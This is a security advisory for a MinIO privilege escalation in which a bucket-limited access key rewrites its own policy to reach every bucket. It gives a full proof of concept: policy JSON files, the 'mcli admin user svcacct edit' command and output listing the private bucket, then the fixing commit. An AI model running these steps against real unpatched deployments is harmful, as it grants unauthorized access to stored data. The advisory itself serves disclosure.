Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation

Summary

When someone creates an access key, it inherits the permissions of the parent key. Not only for
s3:* actions, but also admin:* actions. Which means unless somewhere above in the
access-key hierarchy, the admin rights are denied, access keys will be able to simply
override their own s3 permissions to something more permissive.

Credit to @xSke for sort of accidentally discovering this. I only understood the implications.

Details / PoC

We spun up the latest version of minio in a docker container and signed in to the admin UI
using the minio root user. We created two buckets, public and private and created an
access key called mycat and attached the following policy to only allow access to the
bucket called public.

{
 "Version": "2012-10-17",
 "Statement": [
  {
   "Effect": "Allow",
   "Action": [
    "s3:*"
   ],
   "Resource": [
    "arn:aws:s3:::public",
    "arn:aws:s3:::public/*"
   ]
  }
 ]
}

We then set an alias in mc: mcli alias set vuln http://localhost:9001 mycat mycatiscute

And checked whether policy works:

A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT]     0B public/

Looks good, we believe this is how 99% of users will work with access policies.

If I now create a file full-access-policy.json:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:*"
      ],
      "Resource": [
        "arn:aws:s3:::*"
      ]
    }
  ]
}

And then:

A ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat
Edited service account `mycat` successfully.

mycat has escalated its privileges to get access to the entire deployment:

A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT]     0B private/
[0001-01-01 00:53:28 LMT]     0B public/

Impact

A trivial privilege escalation unless the operator fully understands that they need to
explicitly deny admin actions on access keys.

Patched

commit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master)
Author: Aditya Manthramurthy <donatello@users.noreply.github.com>
Date:   Wed Jan 31 10:56:45 2024 -0800

    fix: permission checks for editing access keys (#18928)
    
    With this change, only a user with `UpdateServiceAccountAdminAction`
    permission is able to edit access keys.
    
    We would like to let a user edit their own access keys, however the
    feature needs to be re-designed for better security and integration with
    external systems like AD/LDAP and OpenID.
    
    This change prevents privilege escalation via service accounts.